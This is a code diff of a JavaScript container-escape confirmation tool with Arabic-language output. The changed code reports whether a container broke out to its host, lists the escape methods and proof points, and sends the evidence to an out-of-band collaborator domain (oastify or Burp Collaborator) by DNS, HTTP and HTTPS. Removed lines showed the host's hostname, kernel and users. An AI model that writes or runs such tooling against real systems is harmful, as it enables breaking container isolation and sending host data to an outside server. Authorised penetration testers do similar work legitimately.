- console.log(`📈 مستوى الثقة: ${escapeConfirmation.verificationResults.confidenceLevel}%`);
347
- console.log(`⚠️ مستوى الخطورة: ${escapeConfirmation.verificationResults.riskLevel}`);
534
+ console.log("\n🎯 النتيجة النهائية:");
535
+ let verdictIcon = '';
536
+ let verdictText = '';
348
537
 
349
- if (escapeConfirmation.verificationResults.escapedToHost) {
350
- console.log("\n🎯 أدلة الهروب المؤكدة:");
351
- escapeConfirmation.escapeEvidence.proofPoints.forEach((proof, i) => {
352
- console.log(` ${i + 1}. ${proof}`);
353
- });
354
-
355
- console.log("\n🔧 طرق الهروب الناجحة:");
356
- escapeConfirmation.escapeEvidence.successfulMethods.forEach((method, i) => {
538
+ if (evidenceLog.finalVerdict.escapedToHost === true) {
539
+ verdictIcon = '🚨';
540
+ verdictText = 'هروب مؤكد من الحاوية إلى المضيف!';
541
+ } else if (evidenceLog.finalVerdict.escapedToHost === 'POSSIBLE') {
542
+ verdictIcon = '⚠️';
543
+ verdictText = 'هروب محتمل من الحاوية';
544
+ } else {
545
+ verdictIcon = '✅';
546
+ verdictText = 'الحاوية معزولة (لم يتم تأكيد الهروب)';
547
+ }
548
+
549
+ console.log(` ${verdictIcon} ${verdictText}`);
550
+ console.log(` 📈 مستوى الثقة: ${evidenceLog.finalVerdict.confidence}%`);
551
+ console.log(` ⚠️ مستوى الخطورة: ${evidenceLog.finalVerdict.riskLevel}`);
552
+
553
+ if (evidenceLog.finalVerdict.escapeMethods.length > 0) {
554
+ console.log(`\n🔧 طرق الهروب المكتشفة:`);
555
+ evidenceLog.finalVerdict.escapeMethods.forEach((method, i) => {
357
556
  console.log(` ${i + 1}. ${method}`);
358
557
  });
359
-
360
- if (escapeConfirmation.hostSystem.hostname) {
361
- console.log(`\n🖥️ اسم المضيف: ${escapeConfirmation.hostSystem.hostname}`);
362
- }
363
-
364
- if (escapeConfirmation.hostSystem.kernel) {
365
- console.log(`🐧 Kernel المضيف: ${escapeConfirmation.hostSystem.kernel}`);
366
- }
367
558
  }
368
559
 
369
- // حفظ النتائج في ملف
370
- const reportFile = `/tmp/container-escape-confirmation-${Date.now()}.json`;
371
- fs.writeFileSync(reportFile, JSON.stringify(escapeConfirmation, null, 2));
372
- console.log(`\n💾 تم حفظ التقرير الكامل في: ${reportFile}`);
560
+ if (evidenceLog.finalVerdict.proofPoints.length > 0) {
561
+ console.log(`\n🎯 أدلة قاطعة:`);
562
+ evidenceLog.finalVerdict.proofPoints.forEach((proof, i) => {
563
+ console.log(` ${i + 1}. ${proof}`);
564
+ });
565
+ }
373
566
 
374
- // رسالة نهائية
375
- console.log("\n" + "=".repeat(70));
376
- if (escapeConfirmation.verificationResults.escapedToHost) {
377
- console.log("🚨 تحذير: تم تأكيد هروب الحاوية بنجاح!");
378
- console.log("🔓 النظام الحالي يمكنه الوصول للنظام المضيف");
379
- console.log("🛡️ يجب اتخاذ إجراءات أمنية فورية");
380
- } else if (escapeConfirmation.currentSystem.isContainer === true) {
381
- console.log("✅ الحاوية معزولة بشكل مناسب");
382
- console.log("🔒 لم يتم اكتشاف هروب ناجح");
383
- } else if (escapeConfirmation.currentSystem.isContainer === false) {
384
- console.log("ℹ️ النظام الحالي ليس حاوية");
385
- console.log("📋 تم إجراء فحوصات أمنية عامة فقط");
567
+ console.log("\n📡 نتائج OAST:");
568
+ console.log(` DNS Requests: ${evidenceLog.oastResults.dnsCalled ? '✅ تم إرسال' : '❌ لم يتم'}`);
569
+ console.log(` HTTP Requests: ${evidenceLog.oastResults.httpCalled ? '✅ تم إرسال' : '❌ لم يتم'}`);
570
+ console.log(` HTTPS Requests: ${evidenceLog.oastResults.httpsCalled ? '✅ تم إرسال' : '❌ لم يتم'}`);
571
+ console.log(` Total Interactions: ${evidenceLog.oastResults.interactions.length}`);
572
+
573
+ if (evidenceLog.oastResults.interactions.length > 0) {
574
+ console.log(` Last Interaction: ${evidenceLog.oastResults.interactions[evidenceLog.oastResults.interactions.length - 1].type} at ${evidenceLog.oastResults.interactions[evidenceLog.oastResults.interactions.length - 1].timestamp}`);
386
575
  }
387
- console.log("=".repeat(70));
388
-
389
- // عرض مختصر للأدلة إذا كان هناك هروب
390
- if (escapeConfirmation.verificationResults.escapedToHost) {
391
- console.log("\n📋 ملخص الأدلة القاطعة:");
392
- console.log("1. hostname مختلف بين الحاوية والمضيف");
393
- console.log("2. الوصول لملفات نظام المضيف");
394
- console.log(`3. ${escapeConfirmation.escapeEvidence.successfulMethods.length} طريقة هروب ناجحة`);
395
- if (escapeConfirmation.hostSystem.users.length > 0) {
396
- console.log("4. يمكن قراءة مستخدمي المضيف");
397
- }
576
+
577
+ // حفظ التقرير محلياً
578
+ const reportFilename = `/tmp/container-escape-oast-report-${evidenceLog.sessionId}.json`;
579
+ fs.writeFileSync(reportFilename, JSON.stringify(evidenceLog, null, 2));
580
+
581
+ console.log(`\n💾 التقرير الكامل محفوظ في: ${reportFilename}`);
582
+
583
+ // تعليمات التحقق من OAST
584
+ console.log("\n" + "=".repeat(80));
585
+ console.log("🔍 كيفية التحقق من النتائج في OAST:");
586
+ console.log("=".repeat(80));
587
+ console.log("\n1. اذهب إلى: https://app.oastify.com (أو أداة Burp Collaborator)");
588
+ console.log(`2. أدخل الدومين: ${OAST_CONFIG.domain}`);
589
+ console.log(`3. ابحث عن Session ID: ${evidenceLog.sessionId}`);
590
+ console.log("4. ستجد التفاعلات التالية:");
591
+ console.log(" - DNS requests (إذا نجحت)");
592
+ console.log(" - HTTP requests (إذا نجحت)");
593
+ console.log(" - HTTPS POST requests مع أدلة الهروب");
594
+ console.log("\n5. إذا رأيت HTTPS request تحتوي على:");
595
+ console.log(" - 'escapedToHost': true ← تأكيد الهروب");
596
+ console.log(" - 'confidence': >60% ← ثقة عالية");
597
+ console.log(" - 'proofPoints' ← قائمة بالأدلة");
598
+
599
+ console.log("\n" + "=".repeat(80));
600
+ if (evidenceLog.finalVerdict.escapedToHost === true) {
601
+ console.log("🚨 تنبيه أمني: تم تأكيد الهروب من الحاوية!");
602
+ console.log("📡 تم إرسال الأدلة إلى OAST الخاص بك");
603
+ console.log("🛡️ يجب اتخاذ إجراءات أمنية فورية");
604
+ } else if (evidenceLog.finalVerdict.escapedToHost === 'POSSIBLE') {
605
+ console.log("⚠️ تحذير: هروب محتمل من الحاوية");
606
+ console.log("📡 تحقق من OAST للأدلة التفصيلية");
607
+ } else {
608
+ console.log("✅ الحاوية تبدو معزولة بشكل جيد");
609
+ console.log("📡 تم إرسال تفاعلات OAST للتحقق");
398
610
  }
611
+ console.log("=".repeat(80));
399
612
  }
400
613
 
401
614
  // ===================== بدء التشغيل =====================
402
- console.log("بدء عملية تأكيد هروب الحاوية...\n");
403
- performBasicChecks();
615
+ console.log("🚀 بدء عملية تأكيد هروب الحاوية مع OAST...");
616
+ console.log(`📡 سيتم إرسال الأدلة إلى: ${OAST_CONFIG.domain}\n`);
617
+
618
+ // إرسال ping أولي
619
+ sendOASTInteraction('HTTPS', {
620
+ checkPoint: 'tool_start',
621
+ evidence: {
622
+ tool: 'ContainerEscapeConfirmation',
623
+ version: '2.0',
624
+ timestamp: new Date().toISOString()
625
+ }
626
+ });
627
+
628
+ // بدء التحقق
629
+ setTimeout(detectContainerEnvironment, 1000);
Binary file
Binary file
Binary file